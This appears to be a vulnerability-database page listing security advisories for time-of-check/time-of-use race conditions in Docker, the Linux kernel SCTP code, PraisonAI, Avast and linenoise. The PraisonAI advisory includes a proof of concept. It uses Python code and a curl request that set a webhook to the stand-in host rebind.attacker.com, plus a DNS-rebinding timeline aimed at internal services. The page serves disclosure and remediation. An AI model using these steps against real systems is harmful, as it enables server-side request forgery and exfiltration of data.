Common Weakness Enumeration

CWE-367

Allowed

Time-of-check Time-of-use (TOCTOU) Race Condition

Abstraction: Base · Status: Incomplete

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.

1204 vulnerabilities reference this CWE, most recent first.

GHSA-RG2X-37C3-W2RH

Vulnerability from github – Published: 2026-05-18 17:53 – Updated: 2026-06-12 21:59
VLAI
Summary
Docker: Race condition in docker cp allows bind mount redirection to host path
Details

Summary

A race condition during docker cp mount setup allows a malicious container to redirect a bind mount target to an arbitrary host path, potentially overwriting host files or causing denial of service.

Details

When copying files into a container, the daemon sets up a temporary filesystem view by bind-mounting volumes into a private mount namespace. During this setup, the mount destination is created inside the container root and then a bind mount is attached using the container-relative path resolved to an absolute host path.

Between mountpoint creation and the mount() syscall, a process running inside the container can replace the destination (or a parent path component) with a symlink pointing to an arbitrary location on the host. The mount() syscall follows the symlink, causing the volume to be bind-mounted onto an arbitrary host path instead of the intended container path.

Impact

A malicious container can redirect a volume bind mount to an arbitrary host path. The impact depends on the volume content and mount options:

  • If the volume is writable, arbitrary host files at the redirected path could be overwritten with the volume's contents.
  • If the volume is read-only, the host path is masked by the mount for the duration of the operation, causing denial of service.
  • In all cases the mount is temporary (torn down after the docker cp completes), but the effects of any writes persist.

Conditions for exploitation

  • A container must have at least one volume mount.
  • A process inside the container must be able to rapidly create and swap symlinks at the volume mount destination path.
  • An operator must initiate a docker cp into that container, or call the PUT /containers/{id}/archive or HEAD /containers/{id}/archive API endpoints.

Not affected

  • Containers that do not have volume mounts are not affected, as the race occurs during volume bind-mount setup.

Workarounds

  • Only run containers from trusted images.
  • Avoid using docker cp with untrusted running containers.
  • Use authorization plugins to restrict access to the archive API endpoints (PUT /containers/{id}/archive, HEAD /containers/{id}/archive).
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "28.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/moby/moby/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-beta.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/moby/moby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "28.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:53:08Z",
    "nvd_published_at": "2026-06-12T19:16:27Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA race condition during `docker cp` mount setup allows a malicious container to redirect a bind mount target to an arbitrary host path, potentially overwriting host files or causing denial of service.\n\n## Details\n\nWhen copying files into a container, the daemon sets up a temporary filesystem view by bind-mounting volumes into a private mount namespace. During this setup, the mount destination is created inside the container root and then a bind mount is attached using the container-relative path resolved to an absolute host path.\n\nBetween mountpoint creation and the `mount()` syscall, a process running inside the container can replace the destination (or a parent path component) with a symlink pointing to an arbitrary location on the host. The `mount()` syscall follows the symlink, causing the volume to be bind-mounted onto an arbitrary host path instead of the intended container path.\n\n## Impact\n\nA malicious container can redirect a volume bind mount to an arbitrary host path. The impact depends on the volume content and mount options:\n\n- If the volume is writable, arbitrary host files at the redirected path could be overwritten with the volume\u0027s contents.\n- If the volume is read-only, the host path is masked by the mount for the duration of the operation, causing denial of service.\n- In all cases the mount is temporary (torn down after the `docker cp` completes), but the effects of any writes persist.\n\n### Conditions for exploitation\n\n- A container must have at least one volume mount.\n- A process inside the container must be able to rapidly create and swap symlinks at the volume mount destination path.\n- An operator must initiate a `docker cp` into that container, or call the `PUT /containers/{id}/archive` or `HEAD /containers/{id}/archive` API endpoints.\n\n### Not affected\n\n- Containers that do not have volume mounts are not affected, as the race occurs during volume bind-mount setup.\n\n## Workarounds\n\n- Only run containers from trusted images.\n- Avoid using `docker cp` with untrusted running containers.\n- Use authorization plugins to restrict access to the archive API endpoints (`PUT /containers/{id}/archive`, `HEAD /containers/{id}/archive`).",
  "id": "GHSA-rg2x-37c3-w2rh",
  "modified": "2026-06-12T21:59:32Z",
  "published": "2026-05-18T17:53:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/security/advisories/GHSA-rg2x-37c3-w2rh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42306"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moby/moby"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Docker: Race condition in docker cp allows bind mount redirection to host path"
}

GHSA-RG55-JVW9-P7M7

Vulnerability from github – Published: 2026-05-28 12:30 – Updated: 2026-08-25 15:32
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

sctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL

The SCTP_SENDALL path in sctp_sendmsg() iterates ep->asocs with list_for_each_entry_safe(), which caches the next entry in @tmp before the loop body runs. The body calls sctp_sendmsg_to_asoc(), which may drop the socket lock inside sctp_wait_for_sndbuf().

While the lock is dropped, another thread can SCTP_SOCKOPT_PEELOFF the association cached in @tmp, migrating it to a new endpoint via sctp_sock_migrate() (list_del_init() + list_add_tail() to newep->asocs), and optionally close the new socket which frees the association via kfree_rcu(). The cached @tmp can also be freed by a network ABORT for that association, processed in softirq while the lock is dropped.

sctp_wait_for_sndbuf() revalidates @asoc (the current entry) on re-lock via the "sk != asoc->base.sk" and "asoc->base.dead" checks, but nothing revalidates @tmp. After a successful return, the iterator advances to the stale @tmp, yielding either a use-after-free (if the peeled socket was closed) or a list-walk onto the new endpoint's list head (type confusion of &newep->asocs as a struct sctp_association *).

Both are reachable from CapEff=0; the type-confusion path gives controlled indirect call via the outqueue.sched->init_sid pointer.

Fix by re-deriving @tmp from @asoc after sctp_sendmsg_to_asoc() returns. @asoc is known to still be on ep->asocs at that point: the only callers that list_del an association from ep->asocs are sctp_association_free() (which sets asoc->base.dead) and sctp_assoc_migrate() (which changes asoc->base.sk), and sctp_wait_for_sndbuf() checks both under the lock before any successful return; a tripped check propagates as err < 0 and the loop bails before the re-derive.

The SCTP_ABORT path in sctp_sendmsg_check_sflags() returns 0 and the loop hits 'continue' before sctp_sendmsg_to_asoc() is ever called, so the @tmp cached by list_for_each_entry_safe() still covers the lock-held free that ba59fb027307 ("sctp: walk the list of asoc safely") was added for.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-46227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T10:16:38Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL\n\nThe SCTP_SENDALL path in sctp_sendmsg() iterates ep-\u003easocs with\nlist_for_each_entry_safe(), which caches the next entry in @tmp before\nthe loop body runs.  The body calls sctp_sendmsg_to_asoc(), which may\ndrop the socket lock inside sctp_wait_for_sndbuf().\n\nWhile the lock is dropped, another thread can SCTP_SOCKOPT_PEELOFF the\nassociation cached in @tmp, migrating it to a new endpoint via\nsctp_sock_migrate() (list_del_init() + list_add_tail() to\nnewep-\u003easocs), and optionally close the new socket which frees the\nassociation via kfree_rcu().  The cached @tmp can also be freed by a\nnetwork ABORT for that association, processed in softirq while the\nlock is dropped.\n\nsctp_wait_for_sndbuf() revalidates @asoc (the current entry) on re-lock\nvia the \"sk != asoc-\u003ebase.sk\" and \"asoc-\u003ebase.dead\" checks, but nothing\nrevalidates @tmp.  After a successful return, the iterator advances to\nthe stale @tmp, yielding either a use-after-free (if the peeled socket\nwas closed) or a list-walk onto the new endpoint\u0027s list head (type\nconfusion of \u0026newep-\u003easocs as a struct sctp_association *).\n\nBoth are reachable from CapEff=0; the type-confusion path gives\ncontrolled indirect call via the outqueue.sched-\u003einit_sid pointer.\n\nFix by re-deriving @tmp from @asoc after sctp_sendmsg_to_asoc()\nreturns.  @asoc is known to still be on ep-\u003easocs at that point: the\nonly callers that list_del an association from ep-\u003easocs are\nsctp_association_free() (which sets asoc-\u003ebase.dead) and\nsctp_assoc_migrate() (which changes asoc-\u003ebase.sk), and\nsctp_wait_for_sndbuf() checks both under the lock before any\nsuccessful return; a tripped check propagates as err \u003c 0 and the loop\nbails before the re-derive.\n\nThe SCTP_ABORT path in sctp_sendmsg_check_sflags() returns 0 and the\nloop hits \u0027continue\u0027 before sctp_sendmsg_to_asoc() is ever called, so\nthe @tmp cached by list_for_each_entry_safe() still covers the\nlock-held free that ba59fb027307 (\"sctp: walk the list of asoc\nsafely\") was added for.",
  "id": "GHSA-rg55-jvw9-p7m7",
  "modified": "2026-08-25T15:32:34Z",
  "published": "2026-05-28T12:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46227"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46227.json"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f3a3f0b406b4b7eb3cea35a23fa2bf170848b104"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c9dadb31f36045a8cb65df4bd75e7237ef21a4b5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/bf0f40d8107e2ce827521968dc6926f3e13728ae"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/abb5f36771cc4c05899b34000829a787572a8817"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6187a172d6ed57d6b2c327836e4407c6456e639d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1bfb06ecb00f7fdf35dba8e8f2877346cbe5e078"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0dbc8cde64280fc37cdd678cced34eaf96cfb197"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0c7b55974f97b78d1109025eadf084e74cbf330f"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482564"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-46227"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59149"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59148"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59147"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59146"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59145"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59143"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59142"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36956"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36349"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36348"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36018"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:34094"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33899"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27735"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27731"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26563"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26535"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26515"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26462"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RG5Q-PP8P-F7JM

Vulnerability from github – Published: 2026-08-25 14:59 – Updated: 2026-08-25 14:59
VLAI
Summary
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
Details

Summary

praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can: 1. Submit a job with webhook_url pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierrorpass) 2. Update DNS to point that hostname to 127.0.0.1 or another private IP 3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent to the internal IP

Details

Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):

@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
    ...
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            raise ValueError("Webhook URL resolves to private network address")
    except socket.gaierror:
        pass    # <-- FAIL-OPEN: DNS failure allows the URL without restriction
    return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.

Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):

async def _send_webhook(self, job: Job):
    async with httpx.AsyncClient(timeout=30.0) as client:
        response = await client.post(
            job.webhook_url,      # <-- fresh DNS resolution here, not cached from validation
            json=payload,
            ...
        )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0   Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
      Validation:  socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
      Result:      except socket.gaierror: pass  → ACCEPTED

T=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60  Job completes. _send_webhook() fires:
      httpx.post("http://rebind.attacker.com/cb")
      DNS: rebind.attacker.com → 127.0.0.1
      POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself — the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1 — Confirm fail-open behaviour (local code verification):

from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket

# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
    req = JobSubmitRequest(
        prompt="hello",
        webhook_url="http://rebind.attacker.com/callback"
    )
    # No exception raised — URL accepted despite NXDOMAIN
    print("Webhook accepted:", req.webhook_url)

Expected: Webhook accepted: http://rebind.attacker.com/callback

Step 2 — Confirm fresh DNS at execution time:

# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently

import httpx, asyncio

async def demo():
    # httpx resolves DNS here, not using any cached result from validation
    async with httpx.AsyncClient() as client:
        # This call resolves "rebind.attacker.com" fresh at runtime
        # If DNS changed since validation, it hits the new IP
        try:
            r = await client.post("http://rebind.attacker.com/callback", json={})
        except Exception as e:
            print(f"Connection: {e}")

asyncio.run(demo())

Step 3 — Full attack scenario:

# 1. Set up domain with short TTL, currently returning NXDOMAIN
#    rebind.attacker.com  →  (no record, TTL=60)

# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": "Calculate 2+2",
    "webhook_url": "http://rebind.attacker.com/callback"
  }'
# Response: {"job_id": "job_abc123", "status": "queued", ...}

# 3. After 5 seconds (before job finishes), add DNS record:
#    rebind.attacker.com  A  127.0.0.1  TTL=60

# 4. Wait for job to complete (seconds to minutes).
#    _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
#    POST request hits 127.0.0.1 (internal service)

# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}

Immediate variant (no DNS timing required):

If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required — the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).

Impact

What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.

Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:

  • Multi-tenant deployments where workspace members submit jobs
  • API integrations (n8n, Zapier-style workflows) that provide webhook_url fields

Post-exploit capabilities: - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint


---

## Remediation Suggestion (for maintainers)

**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**

```python
# VULNERABLE
except socket.gaierror:
    pass

# FIXED
except socket.gaierror:
    raise ValueError(
        "Webhook URL hostname could not be resolved. "
        "Ensure the hostname is valid and publicly reachable."
    )

Fix 2 — Re-validate at execution time (jobs/executor.py before _send_webhook):

async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    # Re-validate to prevent DNS rebinding
    try:
        from urllib.parse import urlparse
        import socket, ipaddress
        hostname = urlparse(job.webhook_url).hostname
        ip = socket.gethostbyname(hostname)
        if ipaddress.ip_address(ip).is_private:
            logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
            return
    except Exception as e:
        logger.warning(f"Webhook validation failed at execution: {e}")
        return
    # ... proceed with httpx.post
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-705",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:59:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook\nURLs by resolving the hostname and checking whether the IP is private. When DNS\nresolution fails (`socket.gaierror`), the validator **silently passes** the URL via\n`except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time,\nthe webhook is fired much later by `JobExecutor._send_webhook()`, which calls\n`httpx.AsyncClient().post(job.webhook_url)` \u2014 performing a **fresh, independent DNS\nlookup** at execution time. Together, these flaws create a TOCTOU SSRF window.\n\nAn attacker can:\n1. Submit a job with `webhook_url` pointing to a hostname that currently does not\n   resolve (NXDOMAIN) \u2192 validation passes (`gaierror` \u2192 `pass`)\n2. Update DNS to point that hostname to `127.0.0.1` or another private IP\n3. When the job completes, `_send_webhook()` resolves the hostname fresh \u2192 POST sent\n   to the internal IP\n\n### Details\n\n**Flaw 1 \u2014 Fail-open on DNS error (`jobs/models.py` lines 58-66):**\n\n```python\n@field_validator(\"webhook_url\")\n@classmethod\ndef validate_webhook_url(cls, v):\n    ...\n    try:\n        ip = socket.gethostbyname(hostname)\n        ip_obj = ipaddress.ip_address(ip)\n        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:\n            raise ValueError(\"Webhook URL resolves to private network address\")\n    except socket.gaierror:\n        pass    # \u003c-- FAIL-OPEN: DNS failure allows the URL without restriction\n    return v\n```\n\nWhen `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout,\nnetwork error during validation), execution flows to `pass` and the URL is accepted.\n\n**Flaw 2 \u2014 Fresh DNS at execution time (`jobs/executor.py` lines 376-406):**\n\n```python\nasync def _send_webhook(self, job: Job):\n    async with httpx.AsyncClient(timeout=30.0) as client:\n        response = await client.post(\n            job.webhook_url,      # \u003c-- fresh DNS resolution here, not cached from validation\n            json=payload,\n            ...\n        )\n```\n\n`httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time,\ncompletely independent of the validation-time resolution. The gap between submission\nand execution can be minutes to hours (depending on job queue depth and timeout settings).\n\n**Combined TOCTOU window:**\n\n```\nT=0   Attacker submits: webhook_url = \"http://rebind.attacker.com/cb\"\n      Validation:  socket.gethostbyname(\"rebind.attacker.com\") \u2192 gaierror (NXDOMAIN)\n      Result:      except socket.gaierror: pass  \u2192 ACCEPTED\n\nT=5   Attacker updates DNS: rebind.attacker.com A \u2192 127.0.0.1 (TTL=60)\n\nT=60  Job completes. _send_webhook() fires:\n      httpx.post(\"http://rebind.attacker.com/cb\")\n      DNS: rebind.attacker.com \u2192 127.0.0.1\n      POST reaches 127.0.0.1 \u2192 SSRF\n```\n\n**Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered \"no URL\nvalidation at all\" on the webhook_url parameter, patched in v4.5.126 by adding\n`validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code\nitself** \u2014 the `except socket.gaierror: pass` fail-open introduced in that patch.\nCVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.\n\n### PoC\n\n**Requirements:** A domain you control with configurable DNS TTL, access to the jobs API\n\n**Step 1 \u2014 Confirm fail-open behaviour (local code verification):**\n\n```python\nfrom praisonai.jobs.models import JobSubmitRequest\nfrom unittest.mock import patch\nimport socket\n\n# Simulate: hostname temporarily does not resolve\nwith patch(\"socket.gethostbyname\", side_effect=socket.gaierror(\"NXDOMAIN\")):\n    req = JobSubmitRequest(\n        prompt=\"hello\",\n        webhook_url=\"http://rebind.attacker.com/callback\"\n    )\n    # No exception raised \u2014 URL accepted despite NXDOMAIN\n    print(\"Webhook accepted:\", req.webhook_url)\n```\n\nExpected: `Webhook accepted: http://rebind.attacker.com/callback`\n\n**Step 2 \u2014 Confirm fresh DNS at execution time:**\n\n```python\n# From jobs/executor.py _send_webhook():\n# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)\n# Standard httpx behaviour: each .post() resolves DNS independently\n\nimport httpx, asyncio\n\nasync def demo():\n    # httpx resolves DNS here, not using any cached result from validation\n    async with httpx.AsyncClient() as client:\n        # This call resolves \"rebind.attacker.com\" fresh at runtime\n        # If DNS changed since validation, it hits the new IP\n        try:\n            r = await client.post(\"http://rebind.attacker.com/callback\", json={})\n        except Exception as e:\n            print(f\"Connection: {e}\")\n\nasyncio.run(demo())\n```\n\n**Step 3 \u2014 Full attack scenario:**\n\n```bash\n# 1. Set up domain with short TTL, currently returning NXDOMAIN\n#    rebind.attacker.com  \u2192  (no record, TTL=60)\n\n# 2. Submit job via API\ncurl -X POST http://praisonai-server:8000/jobs \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"prompt\": \"Calculate 2+2\",\n    \"webhook_url\": \"http://rebind.attacker.com/callback\"\n  }\u0027\n# Response: {\"job_id\": \"job_abc123\", \"status\": \"queued\", ...}\n\n# 3. After 5 seconds (before job finishes), add DNS record:\n#    rebind.attacker.com  A  127.0.0.1  TTL=60\n\n# 4. Wait for job to complete (seconds to minutes).\n#    _send_webhook() fires and resolves rebind.attacker.com \u2192 127.0.0.1\n#    POST request hits 127.0.0.1 (internal service)\n\n# If 127.0.0.1:80 is running a service, it receives:\n# POST /callback HTTP/1.1\n# Content-Type: application/json\n# {\"job_id\": \"job_abc123\", \"status\": \"succeeded\", \"result\": \"4\", ...}\n```\n\n**Immediate variant (no DNS timing required):**\n\nIf DNS resolution fails transiently (rate limit, network blip, temporary outage)\nduring validation, the webhook is accepted unconditionally even for a URL that would\nnormally resolve to a private IP. No attacker control over DNS timing is required \u2014\nthe attacker simply retries submission during moments when their DNS server is unreachable\n(e.g., their DNS server is down, causing `gaierror`).\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding\nand validation fail-open.\n\n**Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to\nexternal or lower-trusted callers. This includes:\n\n- **Multi-tenant deployments** where workspace members submit jobs\n- **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields\n\n**Post-exploit capabilities:**\n- HTTP POST to any internal service with JSON payload (job result data)\n- If an internal service interprets the POST body as commands (Jenkins webhook,\n  Consul KV, etc.), this achieves code execution on internal infrastructure\n- Exfiltration of job results (which may include agent reasoning, data retrieved\n  during the task, discovered credentials) to an attacker-controlled endpoint\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\n**Fix 1 \u2014 Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**\n\n```python\n# VULNERABLE\nexcept socket.gaierror:\n    pass\n\n# FIXED\nexcept socket.gaierror:\n    raise ValueError(\n        \"Webhook URL hostname could not be resolved. \"\n        \"Ensure the hostname is valid and publicly reachable.\"\n    )\n```\n\n**Fix 2 \u2014 Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**\n\n```python\nasync def _send_webhook(self, job: Job):\n    if not job.webhook_url:\n        return\n    # Re-validate to prevent DNS rebinding\n    try:\n        from urllib.parse import urlparse\n        import socket, ipaddress\n        hostname = urlparse(job.webhook_url).hostname\n        ip = socket.gethostbyname(hostname)\n        if ipaddress.ip_address(ip).is_private:\n            logger.warning(f\"Webhook SSRF blocked at execution time: {job.webhook_url}\")\n            return\n    except Exception as e:\n        logger.warning(f\"Webhook validation failed at execution: {e}\")\n        return\n    # ... proceed with httpx.post\n```",
  "id": "GHSA-rg5q-pp8p-f7jm",
  "modified": "2026-08-25T14:59:44Z",
  "published": "2026-08-25T14:59:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg5q-pp8p-f7jm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` \u2014 bypass of CVE-2026-40114"
}

GHSA-RH45-X729-X2QP

Vulnerability from github – Published: 2023-04-19 21:30 – Updated: 2024-04-04 03:35
VLAI
Details

Avast and AVG Antivirus for Windows were susceptible to a Time-of-check/Time-of-use (TOCTOU) vulnerability in the Quarantine process, leading to arbitrary file/directory deletion. The issue was fixed with Avast and AVG Antivirus version 22.11 and virus definitions from 14 February 2023 or later.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-1585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-19T19:15:06Z",
    "severity": "MODERATE"
  },
  "details": "Avast and AVG Antivirus for Windows were susceptible to a Time-of-check/Time-of-use (TOCTOU)  vulnerability in the Quarantine process, leading to arbitrary file/directory deletion. The issue was fixed with Avast and AVG Antivirus version 22.11 and virus definitions from 14 February 2023 or later.  ",
  "id": "GHSA-rh45-x729-x2qp",
  "modified": "2024-04-04T03:35:19Z",
  "published": "2023-04-19T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1585"
    },
    {
      "type": "WEB",
      "url": "https://support.norton.com/sp/static/external/tools/security-advisories.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RJ4F-7F4C-6QH7

Vulnerability from github – Published: 2025-12-08 15:30 – Updated: 2026-04-22 18:31
VLAI
Details

TOCTOU  in linenoiseHistorySave in linenoise allows local attackers to overwrite arbitrary files and change permissions via a symlink race between fopen("w") on the history path and subsequent chmod() on the same path.
